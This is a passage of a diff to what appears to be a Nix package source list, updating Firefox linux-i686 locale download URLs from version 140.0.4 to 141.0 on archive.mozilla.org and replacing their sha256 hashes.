       locale = "el";
       arch = "linux-i686";
-      sha256 = "799de2a52b142ab9c506a839c7adb9d9c1bdc06a1ab59ba4713a8b950fe6173d";
+      sha256 = "bfe3b614fffed35a0e7af98ce80e48a41fa134c69d5560e92225a89898242c08";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/en-CA/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/en-CA/firefox-141.0.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "a5385017f0ac16e01be9f62034e1e598e52f0b89095538f060f52323e77364e3";
+      sha256 = "927b19d244fa723ea1073f7c37a8b769f10e5fcbd53c49dc16893c0d6bb290f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/en-GB/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/en-GB/firefox-141.0.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "6ae767b1b34a59c7e0ef1df07367ad47a396f68c50577ae537d888ab6f7ae692";
+      sha256 = "461c7001d0f7eab4cef32ae8969f1a80a59b5f39ad91e28f4f08e5537bb3dcfb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/en-US/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/en-US/firefox-141.0.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "eafcda88f4a296ee1b67936cc6caf44650f3c109f208c86729ba029ba78378ab";
+      sha256 = "7565db5c5d192feb50db24d9e13ebd93a6a2c77e47c8ad379a7c9346637bfafa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/eo/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/eo/firefox-141.0.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "92ada3e5fb02c36d2e8c1bfe8bac1adb522f5d528e355b368b887a07b44b764b";
+      sha256 = "2fd3f94eb43c3aff5d750c4dbe1d5aadab01d6df3721eaf3eda888f3735c51f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/es-AR/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/es-AR/firefox-141.0.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "838667df7f1454bb55f8c55cb92ea4feb0a4c6d7c85aa77670a8bdb607a3759f";
+      sha256 = "e6a56798649cf9b4c2120ecde4c42eaa750b1539cd2ff2580600c975cb6d634d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/es-CL/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/es-CL/firefox-141.0.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "2af8df8d4192e875c750c6689e44eb18c21dbae9e7db73f0def9df63c89e36f3";
+      sha256 = "3f13a218745ba43f0e0b898d13a1f988091b5825903ca45926f8363f3da07c94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/es-ES/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/es-ES/firefox-141.0.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "76667eef65181a671dcf5624c60c13d529ebabd2fd3c541886ec568cef6d81c2";
+      sha256 = "c7ce7ca55abe0ad7931970f569cd2c63adb6be94efb43dba669f71e5be938000";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/es-MX/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/es-MX/firefox-141.0.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "9d92bab5185b98dd57da6c49f65a6f67937edb39027dae66f745a1292bd574f8";
+      sha256 = "dc7ccfb16d1001791e7fd38643d23cb4c90633cc326b16c0b1678ce89e1c40d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/et/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/et/firefox-141.0.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "ac1b2e960d0d57d03b0e08afd7fe4426c4aedbc4bb9d24aef77182aa8480a8f8";
+      sha256 = "b29521d4f8ecf5a5c2680055323a157b59e4a323dcb255de4348d49ac84cc1f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/eu/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/eu/firefox-141.0.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "bef2d01f49e73a81f0a59afcd3ac8709eb9918acf79fb47f7cdac6b09c4a1c3c";
+      sha256 = "d19ae457c6f8eb84a93d686bdd70f64292434dac20f1b695e61ea2fc96bd1504";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/fa/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/fa/firefox-141.0.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "bd1d3f8bcb2ba008f76c449a3661f42f45559faf047e1339143926e972b6cd21";
+      sha256 = "a7e8a4d9bfc4d81c7d81d5a686a0294c2846395606ce1c0a16f6c653d527c96b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ff/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ff/firefox-141.0.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "5c3907a334848afbae90d52b643413dc9692ed76b60225ec71524867b40eae0d";
+      sha256 = "67e4dd228ff9f4271dea1cb85269d9e823f3c5ba3ca85eccf85fe9e0368ccbbc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/fi/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/fi/firefox-141.0.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "db125233d28993a07aba3b3920e99417d7bb1348c179cc2c9c20285aae72f1a0";
+      sha256 = "cc6f75c78b47355bbea0083d9973c0253293e5a3b4c3ece85d1b1658f8bb6871";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/fr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/fr/firefox-141.0.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "cd75264af4230341e12cfd29c4561fb0c5b2871f63d2c6ba13dfbb8107e549e1";
+      sha256 = "24bf7401101568aab6e44f32d6864ab73b3b49394fb58703b525c19ecf0b9195";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/fur/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/fur/firefox-141.0.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "b8404633354613834a6d088b7f9ab77936c1535b7c30f87f8145e3f81bafd5dd";
+      sha256 = "782f063719b7476f78f76f05a90b04a7ade39233a5b198433c4917ab08be8df9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/fy-NL/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/fy-NL/firefox-141.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "2ff96697538281488c405648f9adbb378cb716a6946923ee616f29f3e647232d";
+      sha256 = "030a5125e9171f11709c3ff0e64d5ec79562181f2dbb244792a8f28ab657cb20";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ga-IE/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ga-IE/firefox-141.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "767885a0c5e8e409be4918a534e3afba13697e3a97beab0832e9f1f47e26d2e3";
+      sha256 = "557ad3837d690426d2e2dca036f384d959908ecbb59d46ed4872d733b1d98bbf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/gd/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/gd/firefox-141.0.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "6d7de73fb8d3dc953d384ef7388b17d3df364fa3127f39ebb319b4fd1a443d11";
+      sha256 = "78491adbbccb8b3aed530fce3fca22e9da848dad04d5736003aa398f89b62587";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/gl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/gl/firefox-141.0.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "90726dd9f6cf47601d11567f194a32f34db308d6ee0a63df97057bf7810c51f7";
+      sha256 = "3ac9e2b3b1c0d71f6aa30d18f65e210d7035155859dd4ad052f546fb2806601d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/gn/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/gn/firefox-141.0.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "a93f279cfe4d256ed9065cbbad5fd619469723a4451a67a4427ccb8cb767af1c";
+      sha256 = "d7d9e0c119a2e1845dfa344f60b5511353fbc06dc7eaba0e7feeea61015c2948";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/gu-IN/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/gu-IN/firefox-141.0.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "591d5fc411d3da52b04ffec9a3a54e3952e512b9fe66527dd4145568145f7a4a";
+      sha256 = "bf125d9ce7b2858e5327a6b0bef3171ec025a57c64466844cdbb62486c1f8019";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/he/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/he/firefox-141.0.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "760e0ab517792425bfcf61c203cae2237dbda07141f468cfe7994ac0acf7802f";
+      sha256 = "543db004f4d57fafdcd8de2b90dc87d303550a5bef6bd4ca82f0a80b6b65c7f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/hi-IN/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/hi-IN/firefox-141.0.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "26aaef2183370bcbc259109030aa2282d670a1fd53cbfb68897650c452417a79";
+      sha256 = "a062b2864d4ea0f346c717ccfa216ae74c90e026930adae706f42df6b7fb6dcf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/hr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/hr/firefox-141.0.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "85091c7c9c80d1fb4e91129ce00185689c4c768ae7071c61a2350d5b43de4ff3";
+      sha256 = "ff46fb0123c60126ad06d730e64c6495098e6504413a03032be995c3ff8dea5d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/hsb/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/hsb/firefox-141.0.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "00a7c57673ccf6dfd6cf1dc01681c7d75f150c0bd24eb06add8574779bd5099c";
+      sha256 = "2e7044896d3e4dc8729ca33d4c6cfcb0bc649634c4c6a88532fcf8b252b7d4f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/hu/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/hu/firefox-141.0.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "78575993d3b84d8cebc2205ceef28866fdcc8bd5197df345c410132733b554f5";
+      sha256 = "1cb2f78170646edf541d818562bb459452e466c2f17d115db66629d6c18fad95";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/hy-AM/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/hy-AM/firefox-141.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "410e925297b0084e9b727f931cc6701cde2e8fed7b824aa5b484c44ca69cefc6";
+      sha256 = "570b2f69934b42e86ce4c4aab691f6820f9aec7139aa954662b44488cb0780f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ia/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ia/firefox-141.0.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "5210d60588e6716e837d5910dbdf437cdcfce114281f4c3b040c162bda99d2b9";
+      sha256 = "51355e8645d04868c51b0437e4892a78f4f0ed5c91ae3682335942cf6e014c0d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/id/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/id/firefox-141.0.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "5730cdf18ca4724f3e198328431d393761efd46041bdabb65185e36dddfc781d";
+      sha256 = "2b52ddb2dd924930f608a4c6f8d1099fec1cb74c7161bc40ad6efb705aa0d796";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/is/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/is/firefox-141.0.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "19a6a3f928b4fbf9a5febad502227e00c919860a4f434bd2b9ddacaf96062708";
+      sha256 = "cf97b0c06a28d810511b0f811d446717196fda444f51002bdd39288024abec0a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/it/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/it/firefox-141.0.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "926d389543d9969e7820024ff536faacdeeb0382122300a6611f91d20e13325e";
+      sha256 = "93207e91c578afb16b2c8c2e33b91499d655ffa4390303f8b6060f7087a0b0f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ja/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ja/firefox-141.0.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "f6163a71d048e428e4fb0ad48467b53cef0e4f27b7145822e0ed3ca545ce288f";
+      sha256 = "b469ee8dad85b4884b626a6c712c30e17d3827e7a3e74e989ef30a59d5366b61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ka/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ka/firefox-141.0.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "a24df85ab9592ee6d362b67e82707c12c77516021214734157082b33fe47abd1";
+      sha256 = "3f109d8749d4598263f2eb23c5eda43d261df2cf5c746b81d773f51f52eb3f26";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/kab/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/kab/firefox-141.0.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "42333cd22e35b27212e08a183d464c54797926835314c98afc06ad863846a41f";
+      sha256 = "5b53cdad9ec00d761e8585548c438d6a00e67f744374b748b3270d08722ac7b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/kk/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/kk/firefox-141.0.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "11cef3b82e42ddf4683da915a13da3561c140427bb40343b4192bfd0902f20d2";
+      sha256 = "29240ea34efd79874971167d4e5d6c95c62facc8af60398acb113961b357fc84";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/km/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/km/firefox-141.0.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "3606f00c659d1ac9bde60a6311ab0c8c1d7a512219acec6597392f128c16c009";
+      sha256 = "34381d90e835eb8b3fb624c1808b0121fd8b3454800672f36e3b6e13d79eb900";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/kn/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/kn/firefox-141.0.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "0d36b7260b717e6817821759b105fced8c0d3c08ebcefbc04aefc7bf9e49ab2a";
+      sha256 = "e4d3f968421d11ca0ed15a62ae51c35830a1070e6debda6156d57e299c9f9685";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ko/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ko/firefox-141.0.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "f54e98158ab899e17ae495a9339154c564565fe0c4955b67dca57c5a454083e8";
+      sha256 = "7391803ec0c56fe9e6ebfc0e51fddc910c4e9256fa5be6f79fecb91bf692d40a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/lij/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/lij/firefox-141.0.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "85411a183548f9dd3210a595fd84e3cb283dc5b4f42b9ab0f09f4c28397b14db";
+      sha256 = "c69ed4155c7c10b5b965e96553927e07285bf7a3c79ccc0cb91604649e10aa56";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/lt/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/lt/firefox-141.0.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "d11ebfadbc6abb1768e5accd287ae8ec716b36e6f150e85b1d987c558aa6c0b5";
+      sha256 = "cc01e27b3e08bd4b64808e3a4cd833ae672e0dc7a99a70855385c2c9b286de6f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/lv/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/lv/firefox-141.0.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "84fffed5dc9c2e8daee302f1c13365dd7b9a1023d5844fff2fbd4096a192b020";
+      sha256 = "ce3de8e3be078ecab1db158666e3d482ed652b9ac3ee710e6161314df90eaa18";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/mk/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/mk/firefox-141.0.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "04c0cafa61498b0d6ec291fe3f96cb57e5b7706753d2d67ff569736da636239c";
+      sha256 = "bc00c297a354bda0cb6b42cbbe02cc08b5685de9b057682ce67cca469faeb821";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/mr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/mr/firefox-141.0.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "3f03d5b6dce578611e79991fbb414b7fda11a3ebaccb20115cc3574658332d99";
+      sha256 = "7218f52c71e2ee8829fd9b3872d9f848ff2ad9dcbbbb9f190406a9e768386441";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ms/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ms/firefox-141.0.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "4d9d5b55c7e39c440aa274f1b1fe7633c7b688ebe6bb49938d70908649de480e";
+      sha256 = "75cc4dd0bf5b564be5ebc834cd45f366ec0e767944aca03758630a79707e0b83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/my/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/my/firefox-141.0.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "8bef74e92c76779e82e7fa52179f9e34ddb4b3fd6151ea15113c0704ad498072";
+      sha256 = "4ed6d75bb1d3146c8cfd352f88ee248f44d4a8b6f77924ae98fa7db57cd5c7bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/nb-NO/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/nb-NO/firefox-141.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "88d110b88ef70b57911f546cef221cac830ea2e636c5484dbeb61d885ebedf24";
+      sha256 = "2f94cc5308f36d553b447dcc61bda412e329492817c3f61bcba3a4df65bb9c70";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ne-NP/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ne-NP/firefox-141.0.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "fb6712cacd82c6f02606dc4905dd23eef2476f7c418e5880f173ff10b5fa59c2";
+      sha256 = "0e04a014e66e5c7217195f54e6d04bad68f4f5dacc6ccd8b8df47c38309005c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/nl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/nl/firefox-141.0.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "8b90206da1f2b369efc854460d9ab281f965f39def4861c95b9ce760f2c360bd";
+      sha256 = "f31f3b676e11bc776d0bda4d117a8fe5290be1e4df9b5524adac6f130d144664";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/nn-NO/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/nn-NO/firefox-141.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "e24a2b5e8c110d05bebdd3abe3ff4195eef879b24a30fb163f2d8871125ee56b";
+      sha256 = "c02e3e9e7fdc1afe4d69ace09661605d98923104d4bd319c4bfdf45afdfc3b38";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/oc/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/oc/firefox-141.0.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "0ae9de22a79c531978af028c44f8e10df180bcec26881e8f54a694849a46505a";
+      sha256 = "02b25ea041b208e652112ed3bb51c1b12c9e12a2817ef5e20bb6931a217232bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/pa-IN/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/pa-IN/firefox-141.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "517a43fa69a74781289432120f437cf376ef7ed048404fd56d5117868afe6d0b";
+      sha256 = "83f1819769ce810da7f07c9cfd134674870ba6432a4d5155e1680400a9c854e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/pl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/pl/firefox-141.0.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "acf94affec7f47373fe85cfdd824513f3c3b6fb30179bf3d4fc7715de5691f8c";
+      sha256 = "cf7eb41a565d3e11f3c737041cc3fc318d9fe987b269cdb7bd9653cd75923b5b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/pt-BR/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/pt-BR/firefox-141.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "ad4fdc5a791b43f030ad93c2b4cfb4282dbc8f42a19b9d35a212ee8ee98b6074";
+      sha256 = "4cf8ad05597682e0da5f9c97a955bc7adb29c16f2e7c7fefb560237dbeade240";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/pt-PT/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/pt-PT/firefox-141.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "5cdac4fea8472a90f172d45a2d18f4647b93e1f2f8b2ac3c40fca62038644a4b";
+      sha256 = "ff81397fdd191239f642dd23334b999cf5c05900391e23f236b9c9c78859f571";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/rm/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/rm/firefox-141.0.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "21241ffb36c656890a3237ef91dd77baff5d43281af40acba3417e8dc4a86214";
+      sha256 = "ff29401be1494f52e4db6b255bc1c8646de098e6f225559e60c0dd6951339757";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ro/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ro/firefox-141.0.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "c9dac36d52db35856e66499fc5173b98ccfd95be625d4e849877b764cdf80c9a";
+      sha256 = "cd2c23ba828cd720c1c8d4ad2f86082f53b36da6615888d3805549683a1ffe35";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ru/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ru/firefox-141.0.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "ded83911dcf012854599b9f9d31c5f4a91ec58d9ae0253180d6ea6f1d75c1822";
+      sha256 = "233861f5917fb6c2a1fc01c66540d6dad78e3ab395bf531da4d5e22862be4f1c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sat/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sat/firefox-141.0.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "059393952f1f7a02b548f2e449cff48607ffe6e06468b66859705da256735acf";
+      sha256 = "fb33c7db943c3dfbf161eb897ce2d2b3a14a50228d50898210f0fb7f202bd199";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sc/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sc/firefox-141.0.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "5806b3f7a94555921c1c9531246cc4b94ec362843b91391b221d79fe808ad162";
+      sha256 = "9778681d914235972cb3e8e2a53edef86fe2d346bbd61cbf4ff517713c9e6ecc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sco/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sco/firefox-141.0.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "d327e522393d3620051068217c194f45f5ed5f5940f5d1cdaaea7f2600015ecb";
+      sha256 = "e764f135910329ce3a77cbbbb8395bd8cd4af076d2d36e2e0d6279e1236a384a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/si/firefox-140.0.4.tar.xz";
